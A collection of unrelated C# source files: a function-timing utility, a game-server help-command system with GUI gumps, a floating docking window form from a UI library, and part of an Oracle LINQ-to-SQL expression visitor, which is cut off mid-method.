private readonly Action<string> action;
/// <summary>
/// Description of the Action
/// </summary>
private readonly string descriptionOfAction;
/// <summary>
/// List of Stopwatch's for the timer
/// </summary>
private readonly List<Stopwatch> markCollection = new List<Stopwatch>(10);
/// <summary>
/// Stopwatch
/// </summary>
private readonly Stopwatch stopWatch;
/// <summary>
/// When was the timer started
/// </summary>
private DateTime dateTimeStarted;
#endregion
#region Constructors
/// <summary>
/// Initializes a new instance of the <see cref="FunctionTimer"/> class.
/// </summary>
/// <param name="description">The description.</param>
/// <param name="action">The action.</param>
public FunctionTimer(string description, Action<string> action)
{
this.descriptionOfAction = description;
this.action = action;
this.dateTimeStarted = DateTime.UtcNow;
this.stopWatch = Stopwatch.StartNew();
}
#endregion
#region Properties
/// <summary>
/// Gets the header.
/// </summary>
/// <value>The header.</value>
public virtual string Header
{
get
{
var sb = new StringBuilder(256);
sb.Append("Date Time TimeTaken");
for (int i = 0; i < markCollection.Count; i++)
sb.Append(" Mark").Append(i + 1);
OutputAdditionalHeaderValues(sb);
if (!string.IsNullOrEmpty(descriptionOfAction))
sb.Append(" Description");
return sb.ToString();
}
}
#endregion
#region IDisposable Implementation
/// <summary>
/// Performs application-defined taskQueue associated with freeing, releasing, or resetting unmanaged resources.
/// </summary>
public void Dispose()
{
stopWatch.Stop();
action(ToString());
}
#endregion
#region Overrides
/// <summary>
/// Returns a <see cref="System.String"/> that represents this instance.
/// </summary>
/// <returns>
/// A <see cref="System.String"/> that represents this instance.
/// </returns>
public override string ToString()
{
var sb = new StringBuilder(256);
sb.Append(dateTimeStarted.ToString("yyyy-MM-dd HH:mm:ss ")).Append(stopWatch.ElapsedMilliseconds);
foreach (Stopwatch mark in markCollection)
sb.Append(' ').Append(mark.ElapsedMilliseconds);
OutputAdditionalValues(sb);
if (!string.IsNullOrEmpty(descriptionOfAction))
sb.Append(" ").Append(descriptionOfAction);
return sb.ToString();
}
#endregion
#region Public Methods
/// <summary>
/// Marks this instance.
/// </summary>
/// <returns></returns>
public CheckPoint Mark()
{
Stopwatch watch = Stopwatch.StartNew();
markCollection.Add(watch);
var point = new CheckPoint(watch);
return point;
}
#endregion
#region Protected Methods
/// <summary>
/// Outputs the additional values.
/// </summary>
/// <param name="sb">The sb.</param>
protected virtual void OutputAdditionalValues(StringBuilder sb)
{
}
/// <summary>
/// Outputs the additional header values.
/// </summary>
/// <param name="sb">The sb.</param>
protected virtual void OutputAdditionalHeaderValues(StringBuilder sb)
{
}
#endregion
}
/// <summary>
/// Function Timer for a given Type T
/// </summary>
/// <typeparam name="T">Type T</typeparam>
public class FunctionTimer<T>
: FunctionTimer where T : class, new()
{
#region Member Variables
/// <summary>
/// List of Values for a given type T
/// </summary>
private readonly T valueCollection;
/// <summary>
/// List of Properties for a given type T
/// </summary>
private readonly FastProperties<T> propertyCollection;
#endregion
#region Constructors
/// <summary>
/// Initializes a new instance of the <see cref="FunctionTimer<T>"/> class.
/// </summary>
/// <param name="description">The description.</param>
/// <param name="action">The action.</param>
public FunctionTimer(string description, Action<string> action)
: base(description, action)
{
valueCollection = new T();
propertyCollection = new FastProperties<T>();
}
#endregion
#region Properties
/// <summary>
/// Gets the values.
/// </summary>
/// <value>The values.</value>
public T Values
{
get
{
return valueCollection;
}
}
#endregion
#region Overrides
/// <summary>
/// Outputs the additional values.
/// </summary>
/// <param name="sb">The sb.</param>
protected override void OutputAdditionalValues(StringBuilder sb)
{
propertyCollection.Each(valueCollection, x => sb.Append(' ').Append(x ?? "null"));
}
#endregion
}
}
| |
using System;
using Server;
using System.Collections;
using System.Collections.Generic;
using System.Text;
using System.Reflection;
using Server.Gumps;
using Server.Network;
using Server.Commands;
using Server.Commands.Generic;
using CommandInfo=Server.Commands.Docs.DocCommandEntry;
using CommandInfoSorter=Server.Commands.Docs.CommandEntrySorter;
namespace Server.Commands
{
public class HelpInfo
{
private static Dictionary<string, CommandInfo> m_HelpInfos = new Dictionary<string, CommandInfo>();
private static List<CommandInfo> m_SortedHelpInfo = new List<CommandInfo>(); //No need for SortedList cause it's only sorted once at creation...
public static Dictionary<string, CommandInfo> HelpInfos{ get { return m_HelpInfos; } }
public static List<CommandInfo> SortedHelpInfo { get { return m_SortedHelpInfo; } }
[CallPriority( 100 )]
public static void Initialize()
{
CommandSystem.Register( "HelpInfo", AccessLevel.Player, new CommandEventHandler( HelpInfo_OnCommand ) );
FillTable();
}
[Usage( "HelpInfo [<command>]" )]
[Description( "Gives information on a specified command, or when no argument specified, displays a gump containing all commands" )]
private static void HelpInfo_OnCommand( CommandEventArgs e )
{
if( e.Length > 0 )
{
string arg = e.GetString( 0 ).ToLower();
CommandInfo c;
if( m_HelpInfos.TryGetValue( arg, out c ) )
{
Mobile m = e.Mobile;
if( m.AccessLevel >= c.AccessLevel )
m.SendGump( new CommandInfoGump( c ) );
else
m.SendMessage( "You don't have access to that command." );
return;
}
else
e.Mobile.SendMessage( String.Format( "Command '{0}' not found!", arg ) );
}
e.Mobile.SendGump( new CommandListGump( 0, e.Mobile, null ) );
}
public static void FillTable()
{
List<CommandEntry> commands = new List<CommandEntry>( CommandSystem.Entries.Values );
List<CommandInfo> list = new List<CommandInfo>();
commands.Sort();
commands.Reverse();
Docs.Clean( commands );
for( int i = 0; i < commands.Count; ++i )
{
CommandEntry e =commands[i];
MethodInfo mi = e.Handler.Method;
object[] attrs = mi.GetCustomAttributes( typeof( UsageAttribute ), false );
if( attrs.Length == 0 )
continue;
UsageAttribute usage = attrs[0] as UsageAttribute;
attrs = mi.GetCustomAttributes( typeof( DescriptionAttribute ), false );
if( attrs.Length == 0 )
continue;
DescriptionAttribute desc = attrs[0] as DescriptionAttribute;
if( usage == null || desc == null )
continue;
attrs = mi.GetCustomAttributes( typeof( AliasesAttribute ), false );
AliasesAttribute aliases = (attrs.Length == 0 ? null : attrs[0] as AliasesAttribute);
string descString = desc.Description.Replace( "<", "(" ).Replace( ">", ")" );
if( aliases == null )
list.Add( new CommandInfo( e.AccessLevel, e.Command, null, usage.Usage, descString ) );
else
{
list.Add( new CommandInfo( e.AccessLevel, e.Command, aliases.Aliases, usage.Usage, descString ) );
for( int j = 0; j < aliases.Aliases.Length; j++ )
{
string[] newAliases = new string[aliases.Aliases.Length];
aliases.Aliases.CopyTo( newAliases, 0 );
newAliases[j] = e.Command;
list.Add( new CommandInfo( e.AccessLevel, aliases.Aliases[j], newAliases, usage.Usage, descString ) );
}
}
}
for( int i = 0; i < TargetCommands.AllCommands.Count; ++i )
{
BaseCommand command = TargetCommands.AllCommands[i];
string usage = command.Usage;
string desc = command.Description;
if( usage == null || desc == null )
continue;
string[] cmds = command.Commands;
string cmd = cmds[0];
string[] aliases = new string[cmds.Length - 1];
for( int j = 0; j < aliases.Length; ++j )
aliases[j] = cmds[j + 1];
desc = desc.Replace( "<", "(" ).Replace( ">", ")" );
if( command.Supports != CommandSupport.Single )
{
StringBuilder sb = new StringBuilder( 50 + desc.Length );
sb.Append( "Modifiers: " );
if( (command.Supports & CommandSupport.Global) != 0 )
sb.Append( "<i><Global</i>, " );
if( (command.Supports & CommandSupport.Online) != 0 )
sb.Append( "<i>Online</i>, " );
if( (command.Supports & CommandSupport.Region) != 0 )
sb.Append( "<i>Region</i>, " );
if( (command.Supports & CommandSupport.Contained) != 0 )
sb.Append( "<i>Contained</i>, " );
if( (command.Supports & CommandSupport.Multi) != 0 )
sb.Append( "<i>Multi</i>, " );
if( (command.Supports & CommandSupport.Area) != 0 )
sb.Append( "<i>Area</i>, " );
if( (command.Supports & CommandSupport.Self) != 0 )
sb.Append( "<i>Self</i>, " );
sb.Remove( sb.Length - 2, 2 );
sb.Append( "<br>" );
sb.Append( desc );
desc = sb.ToString();
}
list.Add( new CommandInfo( command.AccessLevel, cmd, aliases, usage, desc ) );
for( int j = 0; j < aliases.Length; j++ )
{
string[] newAliases = new string[aliases.Length];
aliases.CopyTo( newAliases, 0 );
newAliases[j] = cmd;
list.Add( new CommandInfo( command.AccessLevel, aliases[j], newAliases, usage, desc ) );
}
}
List<BaseCommandImplementor> commandImpls = BaseCommandImplementor.Implementors;
for( int i = 0; i < commandImpls.Count; ++i )
{
BaseCommandImplementor command = commandImpls[i];
string usage = command.Usage;
string desc = command.Description;
if( usage == null || desc == null )
continue;
string[] cmds = command.Accessors;
string cmd = cmds[0];
string[] aliases = new string[cmds.Length - 1];
for( int j = 0; j < aliases.Length; ++j )
aliases[j] = cmds[j + 1];
desc = desc.Replace( "<", ")" ).Replace( ">", ")" );
list.Add( new CommandInfo( command.AccessLevel, cmd, aliases, usage, desc ) );
for( int j = 0; j < aliases.Length; j++ )
{
string[] newAliases = new string[aliases.Length];
aliases.CopyTo( newAliases, 0 );
newAliases[j] = cmd;
list.Add( new CommandInfo( command.AccessLevel, aliases[j], newAliases, usage, desc ) );
}
}
list.Sort( new CommandInfoSorter() );
m_SortedHelpInfo = list;
foreach( CommandInfo c in m_SortedHelpInfo )
{
if( !m_HelpInfos.ContainsKey( c.Name.ToLower() ) )
m_HelpInfos.Add( c.Name.ToLower(), c );
}
}
public class CommandListGump : BaseGridGump
{
private const int EntriesPerPage = 15;
int m_Page;
List<CommandInfo> m_List;
public CommandListGump( int page, Mobile from, List<CommandInfo> list )
: base( 30, 30 )
{
m_Page = page;
if( list == null )
{
m_List = new List<CommandInfo>();
foreach( CommandInfo c in m_SortedHelpInfo )
{
if( from.AccessLevel >= c.AccessLevel )
m_List.Add( c );
}
}
else
m_List = list;
AddNewPage();
if( m_Page > 0 )
AddEntryButton( 20, ArrowLeftID1, ArrowLeftID2, 1, ArrowLeftWidth, ArrowLeftHeight );
else
AddEntryHeader( 20 );
AddEntryHtml( 160, Center( String.Format( "Page {0} of {1}", m_Page+1, (m_List.Count + EntriesPerPage - 1) / EntriesPerPage ) ) );
if( (m_Page + 1) * EntriesPerPage < m_List.Count )
AddEntryButton( 20, ArrowRightID1, ArrowRightID2, 2, ArrowRightWidth, ArrowRightHeight );
else
AddEntryHeader( 20 );
int last = (int)AccessLevel.Player - 1;
for( int i = m_Page * EntriesPerPage, line = 0; line < EntriesPerPage && i < m_List.Count; ++i, ++line )
{
CommandInfo c = m_List[i];
if( from.AccessLevel >= c.AccessLevel )
{
if( (int)c.AccessLevel != last )
{
AddNewLine();
AddEntryHtml( 20 + OffsetSize + 160, Color( c.AccessLevel.ToString(), 0xFF0000 ) );
AddEntryHeader( 20 );
line++;
}
last = (int)c.AccessLevel;
AddNewLine();
AddEntryHtml( 20 + OffsetSize + 160, c.Name );
AddEntryButton( 20, ArrowRightID1, ArrowRightID2, 3 + i, ArrowRightWidth, ArrowRightHeight );
}
}
FinishPage();
}
public override void OnResponse( NetState sender, RelayInfo info )
{
Mobile m = sender.Mobile;
switch( info.ButtonID )
{
case 0:
{
m.CloseGump( typeof( CommandInfoGump ) );
break;
}
case 1:
{
if( m_Page > 0 )
m.SendGump( new CommandListGump( m_Page - 1, m, m_List ) );
break;
}
case 2:
{
if( (m_Page + 1) * EntriesPerPage < m_SortedHelpInfo.Count )
m.SendGump( new CommandListGump( m_Page + 1, m, m_List ) );
break;
}
default:
{
int v = info.ButtonID - 3;
if( v >= 0 && v < m_List.Count )
{
CommandInfo c = m_List[v];
if( m.AccessLevel >= c.AccessLevel )
{
m.SendGump( new CommandInfoGump( c ) );
m.SendGump( new CommandListGump( m_Page, m, m_List ) );
}
else
{
m.SendMessage( "You no longer have access to that command." );
m.SendGump( new CommandListGump( m_Page, m, null ) );
}
}
break;
}
}
}
}
public class CommandInfoGump : Gump
{
public string Color( string text, int color )
{
return String.Format( "<BASEFONT COLOR=#{0:X6}>{1}</BASEFONT>", color, text );
}
public string Center( string text )
{
return String.Format( "<CENTER>{0}</CENTER>", text );
}
public CommandInfoGump( CommandInfo info )
: this( info, 320, 200 )
{
}
public CommandInfoGump( CommandInfo info, int width, int height )
: base( 300, 50 )
{
AddPage( 0 );
AddBackground( 0, 0, width, height, 5054 );
//AddImageTiled( 10, 10, width - 20, 20, 2624 );
//AddAlphaRegion( 10, 10, width - 20, 20 );
//AddHtmlLocalized( 10, 10, width - 20, 20, header, headerColor, false, false );
AddHtml( 10, 10, width - 20, 20, Color( Center( info.Name ), 0xFF0000 ), false, false );
//AddImageTiled( 10, 40, width - 20, height - 80, 2624 );
//AddAlphaRegion( 10, 40, width - 20, height - 80 );
StringBuilder sb = new StringBuilder();
sb.Append( "Usage: " );
sb.Append( info.Usage.Replace( "<", "(" ).Replace( ">", ")" ) );
sb.Append( "<BR>" );
string[] aliases = info.Aliases;
if( aliases != null && aliases.Length != 0 )
{
sb.Append( String.Format( "Alias{0}: ", aliases.Length == 1 ? "" : "es" ) );
for( int i = 0; i < aliases.Length; ++i )
{
if( i != 0 )
sb.Append( ", " );
sb.Append( aliases[i] );
}
sb.Append( "<BR>" );
}
sb.Append( "AccessLevel: " );
sb.Append( info.AccessLevel.ToString() );
sb.Append( "<BR>" );
sb.Append( "<BR>" );
sb.Append( info.Description );
AddHtml( 10, 40, width - 20, height - 80, sb.ToString(), false, true );
//AddImageTiled( 10, height - 30, width - 20, 20, 2624 );
//AddAlphaRegion( 10, height - 30, width - 20, 20 );
}
}
}
}
| |
// *****************************************************************************
//
// (c) Crownwood Consulting Limited 2002
// All rights reserved. The software and associated documentation
// supplied hereunder are the proprietary information of Crownwood Consulting
// Limited, Haxey, North Lincolnshire, England and are supplied subject to
// licence terms.
//
// IDE Version 1.7 www.dotnetmagic.com
// *****************************************************************************
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using IDE.Win32;
using IDE.Docking;
using IDE.Collections;
namespace IDE.Docking
{
internal class FloatingForm : Form, IHotZoneSource, IMessageFilter
{
// Class constants
private const int HITTEST_CAPTION = 2;
// Instance variables
protected Zone _zone;
protected bool _intercept;
protected RedockerContent _redocker;
protected DockingManager _dockingManager;
// Instance events
public event ContextHandler Context;
public FloatingForm(DockingManager dockingManager, Zone zone, ContextHandler contextHandler)
{
// The caller is responsible for setting our initial screen location
this.StartPosition = FormStartPosition.Manual;
// Not in task bar to prevent clutter
this.ShowInTaskbar = false;
// Make sure the main Form owns us
this.Owner = dockingManager.Container.FindForm();
// Need to know when the Zone is removed
this.ControlRemoved += new ControlEventHandler(OnZoneRemoved);
// Add the Zone as the only content of the Form
Controls.Add(zone);
// Default state
_redocker = null;
_intercept = false;
_zone = zone;
_dockingManager = dockingManager;
// Assign any event handler for context menu
if (contextHandler != null)
this.Context += contextHandler;
// Default color
this.BackColor = _dockingManager.BackColor;
this.ForeColor = _dockingManager.InactiveTextColor;
// Monitor changes in the Zone content
_zone.Windows.Inserted += new CollectionChange(OnWindowInserted);
_zone.Windows.Removing += new CollectionChange(OnWindowRemoving);
_zone.Windows.Removed += new CollectionChange(OnWindowRemoved);
if (_zone.Windows.Count == 1)
{
// The first Window to be added. Tell it to hide details
_zone.Windows[0].HideDetails();
// Monitor change in window title
_zone.Windows[0].FullTitleChanged += new EventHandler(OnFullTitleChanged);
// Grab any existing title
this.Text = _zone.Windows[0].FullTitle;
}
// Need to hook into message pump so that the ESCAPE key can be
// intercepted when in redocking mode
Application.AddMessageFilter(this);
}
public DockingManager DockingManager
{
get { return _dockingManager; }
}
public Zone Zone
{
get { return this.Controls[0] as Zone; }
}
public void PropogateNameValue(PropogateName name, object value)
{
if (this.Zone != null)
this.Zone.PropogateNameValue(name, value);
}
public void AddHotZones(Redocker redock, HotZoneCollection collection)
{
RedockerContent redocker = redock as RedockerContent;
// Allow the contained Zone a chance to expose HotZones
foreach(Control c in this.Controls)
{
IHotZoneSource ag = c as IHotZoneSource;
// Does this control expose an interface for its own HotZones?
if (ag != null)
ag.AddHotZones(redock, collection);
}
}
protected void OnWindowInserted(int index, object value)
{
if (_zone.Windows.Count == 1)
{
// The first Window to be added. Tell it to hide details
_zone.Windows[0].HideDetails();
// Monitor change in window title
_zone.Windows[0].FullTitleChanged += new EventHandler(OnFullTitleChanged);
// Grab any existing title
this.Text = _zone.Windows[0].FullTitle;
}
else if (_zone.Windows.Count == 2)
{
int pos = 0;
// If the new Window is inserted at beginning then update the second Window
if (index == 0)
pos++;
// The second Window to be added. Tell the first to now show details
_zone.Windows[pos].ShowDetails();
// Monitor change in window title
_zone.Windows[pos].FullTitleChanged -= new EventHandler(OnFullTitleChanged);
// Remove any caption title
this.Text = "";
}
}
protected void OnWindowRemoving(int index, object value)
{
if (_zone.Windows.Count == 1)
{
// The first Window to be removed. Tell it to show details as we want
// to restore the Window state before it might be moved elsewhere
_zone.Windows[0].ShowDetails();
// Monitor change in window title
_zone.Windows[0].FullTitleChanged -= new EventHandler(OnFullTitleChanged);
// Remove any existing title text
this.Text = "";
}
}
protected void OnWindowRemoved(int index, object value)
{
if (_zone.Windows.Count == 1)
{
// Window removed leaving just one left. Tell it to hide details
_zone.Windows[0].HideDetails();
// Monitor change in window title
_zone.Windows[0].FullTitleChanged += new EventHandler(OnFullTitleChanged);
// Grab any existing title text
this.Text = _zone.Windows[0].FullTitle;
}
}
protected void OnFullTitleChanged(object sender, EventArgs e)
{
// Unbox sent string
this.Text = (string)sender;
}
protected void OnZoneRemoved(object sender, ControlEventArgs e)
{
// Is it the Zone being removed for a hidden button used to help
// remove controls without hitting the 'form refuses to close' bug
if (e.Control == _zone)
{
if (_zone.Windows.Count == 1)
{
// The first Window to be removed. Tell it to show details as we want
// to restore the Window state before it might be moved elsewhere
_zone.Windows[0].ShowDetails();
// Remove monitor change in window title
_zone.Windows[0].FullTitleChanged -= new EventHandler(OnFullTitleChanged);
}
// Monitor changes in the Zone content
_zone.Windows.Inserted -= new CollectionChange(OnWindowInserted);
_zone.Windows.Removing -= new CollectionChange(OnWindowRemoving);
_zone.Windows.Removed -= new CollectionChange(OnWindowRemoved);
// No longer required, commit suicide
this.Dispose();
}
}
protected override CreateParams CreateParams
{
get
{
// Let base class fill in structure first
CreateParams cp = base.CreateParams;
// The only way to get a caption bar with only small
// close button is by providing this extended style
cp.ExStyle |= (int)Win32.WindowExStyles.WS_EX_TOOLWINDOW;
return cp;
}
}
public virtual void OnContext(Point screenPos)
{
// Any attached event handlers?
if (Context != null)
Context(screenPos);
}
public void ExitFloating()
{
if (_zone != null)
{
ContentCollection cc = ZoneHelper.Contents(_zone);
// Record restore object for each Content
foreach(Content c in cc)
{
c.RecordFloatingRestore();
c.Docked = true;
}
}
}
protected void Restore()
{
if (_zone != null)
{
ContentCollection cc = ZoneHelper.Contents(_zone);
// Record restore object for each Content
foreach(Content c in cc)
{
c.RecordFloatingRestore();
c.Docked = true;
}
// Ensure each content is removed from any Parent
foreach(Content c in cc)
_dockingManager.HideContent(c, false, true);
// Now restore each of the Content
foreach(Content c in cc)
_dockingManager.ShowContent(c);
_dockingManager.UpdateInsideFill();
}
this.Close();
}
protected override void OnMove(EventArgs e)
{
Point newPos = this.Location;
// Grab the aggregate collection of all Content objects in the Zone
ContentCollection cc = ZoneHelper.Contents(_zone);
// Update each one with the new FloatingForm location
foreach(Content c in cc)
c.DisplayLocation = newPos;
base.OnMove(e);
}
protected override void OnClosing(CancelEventArgs e)
{
if (_zone != null)
{
ContentCollection cc = ZoneHelper.Contents(_zone);
// Record restore object for each Content
foreach(Content c in cc)
c.RecordRestore();
// Ensure each content is removed from any Parent
foreach(Content c in cc)
{
// Is content allowed to be hidden?
if (!_dockingManager.OnContentHiding(c))
_dockingManager.HideContent(c, false, true);
else
{
// At least one Content refuses to die, so do not
// let the whole floating form be closed down
e.Cancel = true;
}
}
}
// Must set focus back to the main application Window
if (this.Owner != null)
this.Owner.Activate();
base.OnClosing(e);
}
protected override void OnResize(System.EventArgs e)
{
// Grab the aggregate collection of all Content objects in the Zone
ContentCollection cc = ZoneHelper.Contents(_zone);
// Do not include the caption height of the tool window in the saved height
Size newSize = new Size(this.Width, this.Height - SystemInformation.ToolWindowCaptionHeight);
// Update each one with the new FloatingForm location
foreach(Content c in cc)
c.FloatingSize = newSize;
base.OnResize(e);
}
public bool PreFilterMessage(ref Message m)
{
// Has a key been pressed?
if (m.Msg == (int)Win32.Msgs.WM_KEYDOWN)
{
// Is it the ESCAPE key?
if ((int)m.WParam == (int)Win32.VirtualKeys.VK_ESCAPE)
{
// Are we in a redocking activity?
if (_intercept)
{
// Quite redocking
_redocker.QuitTrackingMode(null);
// Release capture
this.Capture = false;
// Reset state
_intercept = false;
return true;
}
}
}
return false;
}
protected override void WndProc(ref Message m)
{
// Want to notice when the window is maximized
if (m.Msg == (int)Win32.Msgs.WM_NCLBUTTONDBLCLK)
{
// Redock and kill ourself
Restore();
// We do not want to let the base process the message as the
// restore might fail due to lack of permission to restore to
// old state. In that case we do not want to maximize the window
return;
}
else if (m.Msg == (int)Win32.Msgs.WM_NCLBUTTONDOWN)
{
if (!_intercept)
{
// Perform a hit test against our own window to determine
// which area the mouse press is over at the moment.
uint result = User32.SendMessage(this.Handle, (int)Win32.Msgs.WM_NCHITTEST, 0, (uint)m.LParam);
// Only want to override the behviour of moving the window via the caption box
if (result == HITTEST_CAPTION)
{
// Remember new state
_intercept = true;
// Capture the mouse until the mouse us is received
this.Capture = true;
// Ensure that we gain focus and look active
this.Activate();
// Get mouse position to inscreen coordinates
Win32.POINT mousePos;
mousePos.x = (short)((uint)m.LParam & 0x0000FFFFU);
mousePos.y = (short)(uint)(((uint)m.LParam & 0xFFFF0000U) >> 16);
// Find adjustment to bring screen to client coordinates
Point topLeft = PointToScreen(new Point(0, 0));
topLeft.Y -= SystemInformation.CaptionHeight;
topLeft.X -= SystemInformation.BorderSize.Width;
// Begin a redocking activity
_redocker = new RedockerContent(this, new Point(mousePos.x - topLeft.X,
mousePos.y - topLeft.Y));
return;
}
}
}
else if (m.Msg == (int)Win32.Msgs.WM_MOUSEMOVE)
{
if (_intercept)
{
Win32.POINT mousePos;
mousePos.x = (short)((uint)m.LParam & 0x0000FFFFU);
mousePos.y = (short)(uint)(((uint)m.LParam & 0xFFFF0000U) >> 16);
_redocker.OnMouseMove(new MouseEventArgs(MouseButtons.Left,
0,
mousePos.x,
mousePos.y,
0));
return;
}
}
else if (m.Msg == (int)Win32.Msgs.WM_LBUTTONUP)
{
if (_intercept)
{
Win32.POINT mousePos;
mousePos.x = (short)((uint)m.LParam & 0x0000FFFFU);
mousePos.y = (short)(uint)(((uint)m.LParam & 0xFFFF0000U) >> 16);
_redocker.OnMouseUp(new MouseEventArgs(MouseButtons.Left, 0,
mousePos.x, mousePos.y, 0));
// Release capture
this.Capture = false;
// Reset state
_intercept = false;
return;
}
}
else if ((m.Msg == (int)Win32.Msgs.WM_NCRBUTTONUP) ||
(m.Msg == (int)Win32.Msgs.WM_NCMBUTTONDOWN) ||
(m.Msg == (int)Win32.Msgs.WM_NCMBUTTONUP) ||
(m.Msg == (int)Win32.Msgs.WM_RBUTTONDOWN) ||
(m.Msg == (int)Win32.Msgs.WM_RBUTTONUP) ||
(m.Msg == (int)Win32.Msgs.WM_MBUTTONDOWN) ||
(m.Msg == (int)Win32.Msgs.WM_MBUTTONUP))
{
// Prevent middle and right mouse buttons from interrupting
// the correct operation of left mouse dragging
return;
}
else if (m.Msg == (int)Win32.Msgs.WM_NCRBUTTONDOWN)
{
if (!_intercept)
{
// Get screen coordinates of the mouse
Win32.POINT mousePos;
mousePos.x = (short)((uint)m.LParam & 0x0000FFFFU);
mousePos.y = (short)(uint)(((uint)m.LParam & 0xFFFF0000U) >> 16);
// Box to transfer as parameter
OnContext(new Point(mousePos.x, mousePos.y));
return;
}
}
base.WndProc(ref m);
}
}
}
| |
using System;
using System.Collections.ObjectModel;
using System.Linq.Expressions;
using System.Reflection;
using System.Text;
using Remotion.Linq.Clauses.Expressions;
using Remotion.Linq.Clauses.ExpressionTreeVisitors;
using Remotion.Linq.Parsing;
using Revenj.Common;
using Revenj.DatabasePersistence.Oracle.QueryGeneration.QueryComposition;
namespace Revenj.DatabasePersistence.Oracle.QueryGeneration.Visitors
{
public class SqlGeneratorExpressionTreeVisitor : ThrowingExpressionTreeVisitor
{
public static string GetSqlExpression(Expression linqExpression, QueryParts queryParts)
{
//TODO pass queryParts context!?
return GetSqlExpression(linqExpression, queryParts, string.Empty, queryParts.Context);
}
public static string GetSqlExpression(Expression linqExpression, QueryParts queryParts, string contextName, QueryContext context)
{
var visitor = new SqlGeneratorExpressionTreeVisitor(queryParts, contextName, context);
visitor.VisitExpression(linqExpression);
return visitor.SqlExpression.ToString();
}
private readonly StringBuilder SqlExpression = new StringBuilder();
private readonly QueryParts QueryParts;
private readonly string ContextName;
private readonly QueryContext Context;
private int Level;
private int BinaryLevel;
private SqlGeneratorExpressionTreeVisitor(QueryParts queryParts, string contextName, QueryContext context)
{
this.QueryParts = queryParts;
this.ContextName = contextName;
this.Context = context;
}
public override Expression VisitExpression(Expression expression)
{
try
{
Level++;
return base.VisitExpression(expression);
}
finally
{
Level--;
}
}
protected override Expression VisitQuerySourceReferenceExpression(QuerySourceReferenceExpression expression)
{
SqlExpression.AppendFormat("\"{0}\"", expression.ReferencedQuerySource.ItemName);
return expression;
}
protected override Expression VisitUnaryExpression(UnaryExpression expression)
{
if (expression.NodeType == ExpressionType.Not)
SqlExpression.Append(" NOT (");
VisitExpression(expression.Operand);
if (expression.NodeType == ExpressionType.Not)
SqlExpression.Append(")");
return expression;
}
private static bool IsNullExpression(Expression expression)
{
var ce = expression as ConstantExpression;
if (ce != null && ce.Value == null)
return true;
var un = expression as UnaryExpression;
if (un != null)
return IsNullExpression(un.Operand);
var pe = expression as PartialEvaluationExceptionExpression;
if (pe != null)
return IsNullExpression(pe.EvaluatedExpression);
return false;
}
protected override Expression VisitBinaryExpression(BinaryExpression expression)
{
SqlExpression.Append(" ");
foreach (var candidate in QueryParts.ExpressionMatchers)
if (candidate.TryMatch(expression, SqlExpression, exp => VisitExpression(exp), Context))
return expression;
foreach (var candidate in QueryParts.StaticExpressionMatchers)
if (candidate.TryMatch(expression, SqlExpression, exp => VisitExpression(exp), Context))
return expression;
switch (expression.NodeType)
{
case ExpressionType.Coalesce:
SqlExpression.Append(" COALESCE(");
VisitExpression(expression.Left);
SqlExpression.Append(", ");
VisitExpression(expression.Right);
SqlExpression.Append(")");
return expression;
case ExpressionType.Modulo:
SqlExpression.Append(" MOD(");
VisitExpression(expression.Left);
SqlExpression.Append(", ");
VisitExpression(expression.Right);
SqlExpression.Append(")");
return expression;
}
SqlExpression.Append("(");
var nullLeft = IsNullExpression(expression.Left);
var nullRight = IsNullExpression(expression.Right);
if ((expression.NodeType == ExpressionType.NotEqual || expression.NodeType == ExpressionType.Equal)
&& (nullLeft || nullRight))
{
if (expression.NodeType == ExpressionType.NotEqual)
SqlExpression.Append("(NOT ");
if (nullRight)
VisitExpression(expression.Left);
else
VisitExpression(expression.Right);
SqlExpression.Append(" IS NULL)");
if (expression.NodeType == ExpressionType.NotEqual)
SqlExpression.Append(")");
return expression;
}
if (expression.NodeType == ExpressionType.Equal || expression.NodeType == ExpressionType.NotEqual)
BinaryLevel = Level;
VisitExpression(expression.Left);
// In production code, handle this via lookup tables.
switch (expression.NodeType)
{
case ExpressionType.Equal:
SqlExpression.Append(" = ");
break;
case ExpressionType.NotEqual:
SqlExpression.Append(" <> ");
break;
case ExpressionType.AndAlso:
case ExpressionType.And:
SqlExpression.Append(" AND ");
break;
case ExpressionType.OrElse:
case ExpressionType.Or:
SqlExpression.Append(" OR ");
break;
case ExpressionType.Add:
if (expression.Type == typeof(string))
SqlExpression.Append(" || ");
else
SqlExpression.Append(" + ");
break;
case ExpressionType.Subtract:
SqlExpression.Append(" - ");
break;
case ExpressionType.Multiply:
SqlExpression.Append(" * ");
break;
case ExpressionType.Divide:
SqlExpression.Append(" / ");
break;
case ExpressionType.GreaterThan:
SqlExpression.Append(" > ");
break;
case ExpressionType.GreaterThanOrEqual:
SqlExpression.Append(" >= ");
break;
case ExpressionType.LessThan:
SqlExpression.Append(" < ");
break;
case ExpressionType.LessThanOrEqual:
SqlExpression.Append(" <= ");
break;
default:
base.VisitBinaryExpression(expression);
break;
}
VisitExpression(expression.Right);
if (expression.NodeType == ExpressionType.NotEqual)
{
SqlExpression.Append(" OR (");
if (expression.Left is ConstantExpression || expression.Left is PartialEvaluationExceptionExpression)
VisitExpression(expression.Right);
else
VisitExpression(expression.Left);
SqlExpression.Append(" IS NULL)");
}
SqlExpression.Append(")");
return expression;
}
protected override Expression VisitConditionalExpression(ConditionalExpression expression)
{
SqlExpression.Append("CASE WHEN ");
VisitExpression(expression.Test);
SqlExpression.Append(" THEN ");
VisitExpression(expression.IfTrue);
SqlExpression.Append(" ELSE ");
VisitExpression(expression.IfFalse);
SqlExpression.Append(" END");
return expression;
}
protected override Expression VisitMemberExpression(MemberExpression expression)
{
foreach (var candidate in QueryParts.MemberMatchers)
if (candidate.TryMatch(expression, SqlExpression, exp => VisitExpression(exp), Context))
return expression;
foreach (var candidate in QueryParts.StaticMemberMatchers)
if (candidate.TryMatch(expression, SqlExpression, exp => VisitExpression(exp), Context))
return expression;
if (BinaryLevel == 0 && Level == 1 || BinaryLevel + 1 < Level)
{
var pi = expression.Member as PropertyInfo;
if (pi != null && pi.PropertyType == typeof(bool))
SqlExpression.Append("'Y' = ");
}
VisitExpression(expression.Expression);
SqlExpression.AppendFormat(".\"{0}\"", expression.Member.Name);
return expression;
}
protected override Expression VisitMemberInitExpression(MemberInitExpression expression)
{
var newExpression = expression.NewExpression;
var newBindings = VisitMemberBindingList(expression.Bindings);
if (newExpression != expression.NewExpression || newBindings != expression.Bindings)
return Expression.MemberInit(newExpression, newBindings);
return Expression.New(newExpression.Constructor, newExpression.Arguments);
}
protected override ReadOnlyCollection<MemberBinding> VisitMemberBindingList(ReadOnlyCollection<MemberBinding> expressions)
{
